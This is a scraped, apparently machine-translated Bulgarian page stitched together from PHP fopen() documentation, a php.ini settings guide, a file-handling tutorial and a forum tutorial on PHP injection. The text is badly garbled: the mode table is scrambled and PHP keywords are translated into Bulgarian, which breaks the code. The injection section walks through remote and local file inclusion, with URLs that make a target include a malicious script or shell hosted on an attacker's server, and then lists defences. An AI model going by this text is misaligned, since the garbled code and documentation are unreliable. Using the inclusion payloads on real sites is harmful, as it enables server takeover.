Начало / Игрови конзоли / Работа с файлове в php: отваряне, писане, четене. PHP proc_open блокира ли уеб заявка? Обработка на грешки и регистрационни файлове

Работа с файлове в php: отваряне, писане, четене. PHP proc_open блокира ли уеб заявка? Обработка на грешки и регистрационни файлове

(PHP 4, PHP 5, PHP 7)

fopen - Отваря файл или URL

Описание

Ресурс fopen (низ $име на файл , низ $mode [, bool $use_include_path = невярно [, ресурс $контекст ]])

fopen()присвоява посочения ресурс, посочен в аргумента за име на файл, към потока.

Списък с параметри

Ако името на файла е предадено във формата "scheme://...", то се счита за URL и PHP ще търси манипулатор на протокол (известен също като "обвивка") за тази схема, ако не е присвоена обвивка на протокол, PHP ще издаде предупреждение, за да ви помогне да откриете потенциален проблем във вашия скрипт и след това да продължи изпълнението, сякаш името на файла сочи към обикновен файл.

Ако PHP задава име на файл да сочи към локален файл, тогава той се опитва да отвори поток към този файл.

Файлът трябва да е достъпен от PHP, така че трябва да се уверите, че разрешенията за файла позволяват това.

Ако сте активирали безопасен режим или open_basedir, тогава се прилагат допълнителни ограничения.:

Ако PHP определи, че името на файла сочи към регистриран протокол и този протокол е регистриран като мрежов URL, PHP проверява състоянието на директивата allow_url_fopen. Ако е деактивиран, PHP ще издаде предупреждение и извикването fopen ще бъде неуспешно.Коментирайте Списък на поддържаните протоколи е наличен в раздела Поддържани протоколи и обвивки.Някои протоколи ( опаковкиизползвани от обвивка http).

На платформата Windows трябва да избегнете всички обратни наклонени черти в пътя на файла или да използвате наклонени черти напред.

$handle = fopen("c:\\folder\\resource.txt" , "r" );
?>

Параметърът на режима указва вида на достъпа, който искате от нишката. Може да бъде една от следните опции:

Списък с възможни режими за fopen()използване на режим
режим Описание
"р" Отваря файла само за четене; поставя показалеца в началото на файла.
"r+" Отваря файл за четене и запис; поставя показалеца в началото на файла.
"w" Отваря файла само за запис; поставя указател в началото на файла и съкращава файла до нулева дължина.
Ако файлът не съществува, той се опитва да го създаде. "w+"
Отваря файл за четене и запис; поставя указател в началото на файла и съкращава файла до нулева дължина. Ако файлът не съществува, той се опитва да го създаде.
"а" Отваря файла само за запис; поставя показалеца в края на файла. Ако файлът не съществува, той се опитва да го създаде.
"а+" Отваря файл за четене и запис; поставя показалеца в края на файла. Ако файлът не съществува, той се опитва да го създаде. fopen()"х" Създава и отваря само за писане; поставя показалеца в началото на файла. Ако файлът вече съществува, обадете сезавършва с неуспех, ще се върне НЕВЯРНОи ще даде грешка в нивото E_ПРЕДУПРЕЖДЕНИЕ. Ако файлът не съществува, ще се опита да го създаде. Това е еквивалентно на определяне на флагове.
O_EXCL|O_CREAT за вътрешно системно повикване "а+".
отворен(2) "x+" "w"Създава и отваря за четене и писане; иначе има същото поведение като "а+""в" Отваря файла само за запис. Ако файлът не съществува, той се създава.Ако файлът съществува, той не е съкратен (за разлика от "w") и извикването на тази функция не причинява грешка (какъвто е случаят с ). Указателят на файла ще бъде зададен в началото на файла. Това може да бъде полезно, ако искате да заключите файл (вижтестадо()
) преди промяна, след употреба може да съкрати файла, преди заключването да бъде получено (ако искате да съкратите файла, можете да използвате функцията отворен(2).

Ако сте активирали безопасен режим или open_basedir, тогава се прилагат допълнителни ограничения.:

ftruncate() след заявка за блокиране)."c+" Отваря файл за четене и запис; иначе има същото поведение катоРазличните фамилии операционни системи имат различни конвенции по отношение на края на редовете. Когато пишете текст и искате да вмъкнете нов ред, трябва да използвате правилните знаци (или символ) за вашия операционна система. Използване на семейни системи Unix \nкато знаци за завършване на реда и системите на Macintosh \rкато знак за край на реда.

Ако използвате грешен знак за край на реда, когато редактирате файлове, може да откриете, че тези файлове изглеждат "странно", когато ги отворите.

Windows предлага флаг за режим на текстово излъчване ( "т"), което ще се преведе автоматично Отваря файл за четене и запис; иначе има същото поведение като V \nдокато работите с файл. И обратното - можете също да използвате"б" И обратното - можете също да използватеза принудителен двоичен режим, който няма да конвертира вашите данни. За да използвате тези режими, посочете "т"или

последната буква от параметъра на режима. "т"Тъй като настройката на флага за превод по подразбиране зависи от SAPI и версията на PHP, която използвате, ви препоръчваме да зададете изрично посочения флаг от съображения за преносимост. Трябва да използвате режима ако работите стекстов файл Отваря файл за четене и запис; иначе има същото поведение катои използвайте И обратното - можете също да използвате.

за да маркирате края на ред във вашия скрипт, без да се притеснявате за четливостта на вашите файлове в други приложения като Notepad. Във всички останали случаи използвайте флага \n.

Ако сте активирали безопасен режим или open_basedir, тогава се прилагат допълнителни ограничения.:

Ако не посочите изрично флага "b", когато работите с двоични файлове, може да изпитате странна повреда на вашите данни, включително повредени файлове с изображения и проблеми със странни символи fopen() .

Ако сте активирали безопасен режим или open_basedir, тогава се прилагат допълнителни ограничения.:

От съображения за преносимост, силно се препоръчва винаги да използвате флага "b", когато отваряте файлове с "т"Освен това, от съображения за преносимост, силно се препоръчва да се пренапише наследеният код, който разчита на И обратното - можете също да използвате.

така че вместо това да използва правилни окончания на редове и режим

използвай_включен_път Незадължителният трети параметър use_include_path може да бъде зададен на "1" илиВЯРНО

ако искате също да търсите файл в include_path.

Ако сте активирали безопасен режим или open_basedir, тогава се прилагат допълнителни ограничения.: Контекст Поддръжката на контекст беше добавена в PHP 5.0.0. За описаниеконтексти

вижте раздела Потоци.

Върнати стойности Създава и отваря само за писане; поставя показалеца в началото на файла. Ако файлът вече съществува, обадете сеВръща указател към файла, ако е успешен, или

в случай на грешка.

Грешки НЕВЯРНОАко файлът не може да бъде отворен, ще се генерира грешка на нивото

. Можете да използвате оператора, за да потиснете тази грешка.

Списък на промените

Примери fopen()

Пример #1 Примери за използване
$handle = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen ("/home/rasmus/file.gif" , "wb" );
$handle = fopen("http://www.example.com/", "r"); $handle = fopen ( "ftp://потребител:[имейл защитен]/някой файл.txt"
?>

, "w" );

Бележки

внимание Когато използва SSL, Microsoft IIS нарушава протокола, като затваря връзката, без да изпрати индикатор. PHP ще отчете това като „SSL: фатална грешка в протокола“ в момента, в който достигнете края на данните. За да избегнете това, трябва да зададете error_reporting на ниво, което изключва E_WARNING. PHP версии 4.3.7 и по-стари могат да открият, че има проблемен IIS от страната на сървъра при отваряне на поток с помощта на обвивка https://и не показва предупреждение. Ако използвате fsockopen()да създавам ssl:// socket, ваша отговорност е да откриете и потиснете това предупреждение.

Ако сте активирали безопасен режим или open_basedir, тогава се прилагат допълнителни ограничения.: Когато опцията за безопасен режим е активирана, PHP проверява дали директорията, с която ще работите, има същия UID (собственик) като изпълнявания скрипт.

Ако сте активирали безопасен режим или open_basedir, тогава се прилагат допълнителни ограничения.:

Ако срещнете проблеми при четене или писане на файлове и използвате PHP като сървърен модул, уверете се, че сървърният процес има достъп до файловете и директориите, които използвате.

Ако сте активирали безопасен режим или open_basedir, тогава се прилагат допълнителни ограничения.:

Тази функция може също да успее, ако името на файла е директория. Ако не сте сигурни дали името на файла е файл или директория, тогава трябва да използвате функцията is_dir() fopen() .

, преди обаждането

  1. Местоположението на файла php.ini зависи от операционната система, на която работи сървърът на хостинг доставчика. За да разберете къде се намира, следвайте 4 прости стъпки:
  2. Създайте php файл (името може да бъде произволно, но ние вземаме myphpinfo.php като пример) и добавете следните редове към него:
  3. Качете този файл на сървъра, където се намира вашият сайт (в основната папка).
  4. Стартираме през браузъра (въведете URL адреса https://yoursitename.com/myphpinfo.php).

В прозореца, който се показва, потърсете пътя до php.ini (първо погледнете „Зареден конфигурационен файл“, ако пише „Няма“, след това погледнете „Път на конфигурационен файл (php.ini)“).

Как да конфигурирам php.ini? Файлът php.ini има следните синтактични правила "директива = стойност". Ако искате да добавите коментари (например, в които да посочите какво засягатази настройка

), след това го направете след точка и запетая (всичко, което идва след този знак, не се брои за команда). Ето един пример:

max_време_за_изпълнение = 40; Максимален брой секунди за изпълнение на скрипта

Общи настройки

PHPengine = включено; PHP скриптовете са активирани.

Short_open_tag = Вкл.; Позволява опростено рамкиране на PHP код с тагове<% %>

Asp_tags = Включено; Позволява възможността за подчертаване на PHP код, както се прави в ASP -

Прецизност = 12; Указва колко цифри ще има след десетичната запетая за числа с плаваща запетая.

Изходно_буфериране = 4096; Изходното буфериране ще бъде автоматично активирано, като размерът на буфера е посочен след „равно“.

Safe_mode_allowed_env_vars = PHP_; Позволява на потребителя да работи само с променливи на средата, които започват с PHP_. Ако тази директива е празна (няма да има стойност), тогава потребителите ще могат да променят всички променливи на средата. Това може да бъде много вредно за сигурността на скрипта.

Safe_mode_protected_env_vars = LD_LIBRARY_PATH; Забранява промяната на променливи, които са изброени разделени със запетаи.

Деактивиране на_функции = ; След знака за равенство трябва да запишете функциите, които искате да деактивирате, разделени със запетаи (обикновено това се прави за сигурност)

Disable_classes = ; След знака за равенство трябва да запишете, разделени със запетаи, класовете, чиито обаждания искате да забраните (обикновено това се прави за сигурност)

Ограничение на ресурсите

max_време_за_изпълнение = 40; Максимално време за изпълнение на скрипта (в секунди)

Max_input_time = 40; Максималното време в секунди, което е дадено на скрипта за обработка на данните, които се зареждат.

Memory_limit = 16M; Максимална памет, разпределена за един скрипт

Обработка на грешки и регистрационни файлове

докладване_за_грешка = E_ALL | E_ERROR | E_ПРЕДУПРЕЖДЕНИЕ | E_PARSE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE ; Указва списък с грешки, които могат да бъдат показани.

Display_errors = Включено; Позволява грешките да се показват директно в браузъра (често се използва за по-лесно отстраняване на грешки).

Display_startup_errors = Включено; Грешките, които се появяват по време на стартиране на PHP, могат да бъдат показани.

Log_errors = Включено; Грешките могат да се записват в лог файл.

Log_errors_max_len = 1024; Максималният брой знаци, който може да бъде дължината на регистрационния файл.

Track_errors = Включено; Последните съобщения за грешка ще се съхраняват в променливата $php_errormsg

Html_errors = Включено; Разрешете съобщенията за грешка да се показват в HTML.

Error_log = име на файл; Задава името на регистъра на грешките.

Обработка на данни

variables_order = "EGPCS" ; Задава реда, в който PHP ще регистрира променливи (E - вградени променливи, G - GET променливи, P - POST променливи, C - бисквитки, S - сесии). Ако премахнете някоя от буквите, работата на съответните променливи ще бъде блокирана.

Register_globals = Включено; Разрешава възможността за третиране на променливи, които идват чрез GET/POST/Cookie/сесия като нормални променливи (напр. "$variablename").

Register_argc_argv = Включено; Разрешено е да се създават променливи $argv и $argc въз основа на информация от метода GET.

Post_max_size = 8M; Задава максималното количество данни, които могат да бъдат получени.

Magic_quotes_gpc = Включено; Позволява автоматична обработка на цитати, получени чрез POST/GET/Cookie.

Auto_prepend_file = ; Съдържанието на файловете, посочени в тези директиви, трябва да се обработи съответно от PHP ПРЕДИ изпълнението на скрипта
auto_append_file =; Съдържанието на файловете, посочени в тези директиви, трябва да се обработи съответно от PHP СЛЕД като скриптът бъде изпълнен.

Default_mimetype = "text/html" ; Задава кодирането за Content-type. По подразбиране ще се използва text/html без посочване на кодирането

Doc_root = ; Задава основната папка за PHP скриптове.

Extension_dir = "./" ; Указва папката, в която ще се съхраняват динамично заредените разширения.

Качване на файлове

file_uploads = Включено; Разрешено е качването на файлове на сървъра.

Upload_tmp_dir = ; Временна директория за файлове за изтегляне.

Upload_max_filesize = 2M ; Задава максималния размер на файла, който може да бъде качен.

Работа с гнезда

user_agent="PHP" ; Променливата USER_AGENT се задава, когато възникне връзка с гнездо.

Default_socket_timeout = 30; Максимално време за слушане на сокет (секунди).

Сесии

session.save_handler = файлове; Указва, че информацията за сесията трябва да се съхранява във файлове

session.save_path = /tmp; След знака за равенство трябва да посочите пътя до папката, в която ще се съхранява информация за сесиите (важно е папката вече да съществува)

session.use_cookies = 1; Позволява използването на бисквитки в сесии

session.name = PHPSESSID; Показва използването на идентификатора на сесията като име на сесията и сесийната бисквитка

session.cookie_lifetime = 0; Продължителност на сесията („0“ означава, че сесията продължава до затваряне на прозореца на браузъра)

session.use_trans_sid = 1; Ако потребителят е деактивирал бисквитките, идентификаторът на сесията ще бъде добавен към всички връзки

Динамични разширения

разширение=име на модул.разширение ; Може да се използва за зареждане на външни модули. За Windows системите обикновено пишат extension=msql.dll, а за
UNIX - разширение=msql.so

Работа с MySQL модули

mysql.allow_persistent = Включено; Позволява стабилни MySQL връзки.

Mysql.max_persistent = -1; Задава максималния брой стабилни MySQL връзки. Ако посочите -1, това ще означава, че няма ограничения.

Mysql.max_links = -1; Задава максималния брой стабилни MySQL връзки и нестабилни ODBC връзки. Ако посочите -1, това ще означава, че няма ограничения.

Mysql.default_port =; Порт за функцията mysql_connect.

Mysql.default_socket =; Името на сокета за локални MySQL връзки.

Mysql.default_host =; Име на хост за функцията mysql_connect.

Mysql.default_user =; Потребителско име.

Mysql.default_password =; Парола.

Ако сте създали свой собствен файл php.ini и сте го поставили в папката на сайта

В този случай, от съображения за сигурност, трябва да блокирате достъпа до него за всички, освен за вас. За да направите това, трябва да напишете следния код във файла .htaccess:


ред разреши, откажи
отричам от всички

Но внимавайте, защото... С тези настройки всички директиви (php_value, php_flag и т.н.), свързани с php настройките чрез .htaccess файла, ще спрат да работят (ще се покаже 500 вътрешна грешка на сървъра).

важно! Ако създадете свой собствен файл php.ini, той ще засегне само директорията, в която се намира.

ресурс fopen(низ име на файл, низ режим [, bool use_include_path [, ресурс zcontext]])

fopen()присвоява посочения ресурс, посочен в аргумента за име на файл, към потока. Ако името на файла е предадено във формата "scheme://...", то се счита за URL и PHP ще търси манипулатор на протокол (известен също като "обвивка") за тази схема, ако не е присвоена обвивка на протокол, PHP ще издаде бележка, за да ви помогне да откриете потенциален проблем във вашия скрипт и ще продължи изпълнението, сякаш името на файла сочи към обикновен файл.

Ако PHP реши, че името на файла сочи към локален файл, тогава ще се опита да отвори поток към този файл. Файлът трябва да бъде достъпен от PHP, така че трябва да се уверите, че разрешенията за файла позволяват това. Ако сте активирали безопасен режим или open_basedir, се прилагат допълнителни ограничения.

Ако PHP е решил, че името на файла сочи към регистриран протокол и този протокол е регистриран като мрежов URL, PHP ще провери състоянието на директивата allow_url_fopen. Ако е деактивиран, PHP ще издаде предупреждение и извикването fopen ще бъде неуспешно.

коментар:Някои протоколи поддържат опции за контекст и/или php.ini. Обърнете се към съответната страница на протокола за списък с опции, които могат да бъдат зададени. (например стойността на php.ini user_agent се използва от http обвивката). За описание на контекстите и параметрите zcontext вижте раздела Функции на потока.

коментар:Поддръжката на контекст беше добавена в PHP 5.0.0.

коментар:Считано от PHP 4.3.2, двоичният режим е режимът по подразбиране за всички платформи, които правят разлика между двоичен и текстов режим. Ако имате проблеми след надграждането, опитайте да използвате флага "t" като заобиколно решение, докато не промените скриптовете си, за да постигнете по-голяма преносимост, както е отбелязано по-горе.

Параметърът на режима указва вида на достъпа, който искате от нишката. Може да е едно от следните:

Ако файлът не може да бъде отворен, функцията ще се върне НЕВЯРНОи ще генерира грешка в нивото E_ПРЕДУПРЕЖДЕНИЕ. Можете да използвате това, за да потиснете това предупреждение.


Пример 1. Примери за използване на функцията fopen()

Пример #1 Примери за използване
$handle = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen ("/home/rasmus/file.gif" , "wb" );
$handle = fopen("http://www.example.com/", "r"); $handle = fopen ( "ftp://потребител:[имейл защитен]/някой файл.txt"
?>

Ако срещнете проблеми при четене или писане на файлове и използвате PHP като сървърен модул, уверете се, че сървърният процес има достъп до файловете и директориите, които използвате.

16,5K

Всъщност как да отворите php файл не е голям проблем. Може да е по-трудно да отворите бутилка бира, когато сте насред гора. Но само запалените програмисти мислят по този начин. А за начинаещи ще ви разкажем за всички възможности на PHP за работа с файлове:

php файлове

Файловете с разширение php съдържат код, написан на езика за програмиране със същото име. За разлика от други езици, php е език за програмиране от страна на сървъра. Тоест работи от страната на сървъра. Следователно, за отстраняване на грешки в неговия код, на клиентската машина трябва да бъде инсталиран локален сървър.

За работа с php файлове се използват специални приложения - софтуерни редактори. Най-често срещаните са:

  • Dreamweaver.
  • PHPEdit.
  • Eclipse PHP разработка.
Когато създавате уебсайтове, базирани на PHP, може да се наложи да използвате повторно програмния код. В такива ситуации е удобно да свържете готови решения, разположени в друг файл. За това се използва конструкцията include. Синтаксисът му е:

включва име на файл

Пример за свързване:

Включен файл:


Включването на файл също е възможно с помощта на конструкцията изискване. За разлика от include, той включва файла преди да бъде изпълнен програмният код. Използването на require в кода е възможно само едно извикване на този файл. При нов достъп системата ще покаже глобално съобщение за грешка и ще спре изпълнението на програмата.

Конструкцията за включване включва само източника по време на изпълнение на програмата. Поддържа многократно четене на php файл. Ако възникне грешка, ще се покаже само предупредително съобщение и изпълнението на кода ще продължи от следващия ред.

Отваряне и затваряне на файлове

В php всички операции с файлове се извършват на няколко етапа:

  • Отваряне на файл;
  • Редактиране на съдържание;
  • Затваряне на файла.

Функцията fopen() се използва за отваряне на файл. Синтаксисът му е:

int fopen(низ име на файл, низ режим [, int use_include_path])

Приети аргументи:

  • низ име на файл – име на файл или абсолютен път до него. Ако пътят до файла не е посочен, той ще се търси в текущата директория. Ако файлът, който търсите, липсва, системата ще покаже съобщение за грешка. Пример:

  • string mode – показва режима на отваряне на файла. Стойности, приети от аргумента:
  • r – файлът се отваря само за четене, указателят на файла се поставя в началото;
  • r+ – файлът е отворен за четене и запис;
  • w – създава нов файл само за запис. Ако вече съществува файл със същото име, всички данни в него се изтриват автоматично;
  • w+ - създава нов файл за запис и четене. Когато такъв файл съществува, неговите данни се презаписват изцяло с нови;
  • a – файлът е отворен за запис. Показалецът е поставен в края. Тоест записът в php файла ще започне не от началото, а от края;
  • a+ – отваряне на файл в режим на четене и запис. Записът ще започне от края;
  • b – режим на работа с файл, съдържащ двоични данни (в двоичната бройна система). Този режим е наличен само в операционна система Windows.

За да затворите достъпа до файл, използвайте функцията fclose(). Синтаксис:

int fclose (int file) , където int file е манипулатор на сайта, който трябва да бъде затворен.

След всяко четене или запис, файлът трябва да бъде затворен с тази функция. В противен случай потокът, създаден за файла, остава отворен. А това води до ненужно потребление на сървърен капацитет.

Пример:

Четене и писане на файлове

За просто показване на цялото съдържание на файл, функцията readfile() е идеална. Синтаксисът му е:

readfile (низово име на файл) , където низовото име на файл е низовото име на файла (не манипулатор).


Същият файл може да бъде прочетен с помощта на функцията fpassthru(). Той чете данни от позицията на крайния показалец до края на файла. Синтаксисът му е:

int fpassthru (int файл)

Функцията изисква отваряне и затваряне на файл. Пример:

Резултатът е подобен на предишния.

Функциите за работа с файлове в php ви позволяват да четете съдържание ред по ред и символ по знак:

  • низ fgets (int файл, int дължина)– функцията чете низ с дължина length . Пример:

  • string fread (int файл, int дължина)– действието е идентично с предишното.

За да запишете текстови данни във файл, има две идентични функции:

  • int fputs (int файл, низ низ [, int дължина])
  • int fwrite(int файл, низ низ [, int дължина ])

Функциите записват във файл int file низ низ с посочената дължина int length ( незадължителен аргумент). Пример:

Създаване и изтриване на файлове

За да създадете php файл, можете да използвате функцията fopen() в режим на достъп "w" или "w+". Или функцията touch(). Той задава времето за промяна на файла. Ако няма елемент с търсеното име, той ще бъде създаден. Синтаксисът му.

Основи на PHP инжектиране за начинаещи.​


PHP инжекция(англ. PHP инжекция) - около Един от начините за хакване на уебсайтове, работещи на PHP, е да се изпълни чужд код от страната на сървъра.Потенциално опасни функции са:
оценка (),
preg_replace() (с модификатора "e"),
require_once(),
include_once(),
включвам(),
изисквам(),
create_function().

PHP инжектирането става възможно, ако входните параметри се приемат и използват без валидиране.

Кликнете, за да разширите...

(c) Уики


Основи.​

Php инжекция- това е форма на атака срещу уебсайт, когато нападателят инжектира своя PHP код в атакуваното PHP приложение.
Ако инжектирането е успешно, атакуващият може да изпълни произволен (потенциално опасен) PHP код на целевия сървър. Например, напълнете черупката. Но първо, нека обсъдим подробно как се случва това.

Например:
Нека си представим, че имаме уебсайт, написан на PHP.
Нека си представим също, че сайтът използва командата страница=страница.htmlза показване на исканата страница.
Кодът ще изглежда така:

$file = $_GET ["страница"]; //Показана страница
включват ($ файл);
?>

Това означава, че всичко показано на страницата ще бъде вградено в PHP кода на тази страница. Следователно нападателят може да направи нещо като:

http: //www.attacked_site.com/index.php?page=http://www.attacked_server.com/malicious_script.txt?

Ако погледнем какво се случва след изпълнението на включването, виждаме следния код, изпълнен на целевия сървър:

$файл = "http://www.attack_server.com/malicious_script.txt?"; //$_GET["страница"];
включват ($ файл); //$file е скрипт, инжектиран от нападател
?>

Виждаме, че нападателят е атакувал успешно целевия сървър.

Повече подробности:
И така, защо нападателят успя да извърши PHP инжекция?
Всичко заради функцията включвам () ви позволява да стартирате отдалечени файлове.

Защо скриптът с разширение беше посочен в примера *.txt , не *.php ?
Отговорът е прост, ако скриптът имаше формат *.php , ще се изпълнява на сървъра на атакуващия, а не на целевата система.

Добавен е и символът " ? " в пътя на инжектирания скрипт, за да премахнете всичко вътре във функцията включвам () на целевия сървър.
Пример:

$file = $_GET ["страница"];
включвам($file. ".php");
?>

Този скрипт добавя разширението *.php към всичко, извикано от командата включвам () .
Тези.

http: //www.attack_server.com/malicious_script.txt

се превръща в

http: //www.attack_server.com/malicious_script.txt.php

Скриптът няма да се изпълнява с това име (файлът не съществува на сървъра на атакуващия /malicious_script.txt.php)
Ето защо добавяме "?" до края на пътя към злонамерения скрипт:

http: //www.attack_server.com/malicious_script.txt?.php

Но остава изпълним.

Извършване на PHP инжекции чрез уязвимостта на функцията include().​

RFI - дистанционно включване по време на инжектиране на PHP.​


Способността за провеждане на RFI е доста често срещана грешка в двигателите.
Можете да го намерите, както следва:
Да приемем, че случайно попаднем на страница, която завършва така в адресната лента на браузъра:

/индекс. php? страница = основна

Вместо това заместваме основенвсяко измамно значение, например упячка

/индекс. php? страница = упячка

В отговор ще получим грешка:

Предупреждение: main (upyachka. php): неуспешно отваряне на поток: Няма такъв файл или директория в / home / user / www //page.php на ред 3

Предупреждение: main (упячка. php): неуспешно отваряне на поток: Няма такъв файл или директория в /home/user/www/page. php на ред 3

Предупреждение : main (): Неуспешно отваряне на "upyachka.php" за включване (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear") в /home/user/www/page. php на ред 3

Това ни показва, че включването е осъществимо.
Нека се опитаме да заместим упячкасайт с пътя до обвивката (разширението на файла на обвивката не трябва да се посочва или да се посочи, както е описано по-горе)

http: //www.attacked_server.com/index.php?file=http://www.attacked_site.com/shell

Така се получава черупката. Сега трябва да информирате администратора на сайта за уязвимостта, за да може той да я поправи, така че злите хора да не се възползват от грешката.

LFI - локално включване за инжектиране на PHP.​


Нека си представим, че попаднахме на същия уязвим сайт

/индекс. php? файл=главен

С код

..
Включи ("папка/ $страница .htm");

?>

Това вече е локално включване. В тази ситуация е възможно само списък с файлове:

/индекс. php? страница =../ индекс. php

В следния случай кодът изглежда така:

..
Include("$dir1/folder/page.php");

?>

В този случай можете да напишете пътя до обвивката, както следва:
Създайте папка папкана уебсайта, където се съхранява обвивката, пуснете обвивката в тази папка:

http: //www.attack_site.com/folder/shell.php

Инжекцията в този случай ще изглежда така:

индекс. php? dir1 = http: //www.site_attacker.com/

Методи за защита


Нека да разгледаме скрипта:

...

включват $module. ".php" ;
...
?>

Този скрипт е уязвим, защото съдържанието на променливата $модул току що добавен *.php и файлът се стартира с помощта на получения път.

Има няколко начина за защита срещу такава атака:​


-Проверете дали променливата $module съдържа странични знаци:

...
$модул = $_GET ["модул"];
if (strpbrk ($module, ".?/:" )) die("Блокиран");
включват $module. ".php" ;
...
?>

-Проверете дали на $module е присвоена една от валидните стойности:
"/" , "" , $page ); // Възможността за преместване в други директории е блокирана.
if (file_exists ("files/ $page .htm " ))
{
Include("files/$page.htm" );
}
Друго
{
Ехо
"грешка";
}

?>

PHP също така предоставя възможност за деактивиране на използването на отдалечени файлове, това става чрез промяна на стойността на опцията allow_url_fopen на Off в конфигурационния файл php.ini.

Описаната уязвимост представлява висока опасност за сайта и авторите на PHP скриптове не трябва да я забравят.

При писане материали от
Уикипедия,
от чуждия форум security-sh3ll (spl0it),
от форума Antichat (GreenBear).
Специални благодарности БъртИ f02за вашата помощ,
подкрепа и добра критика)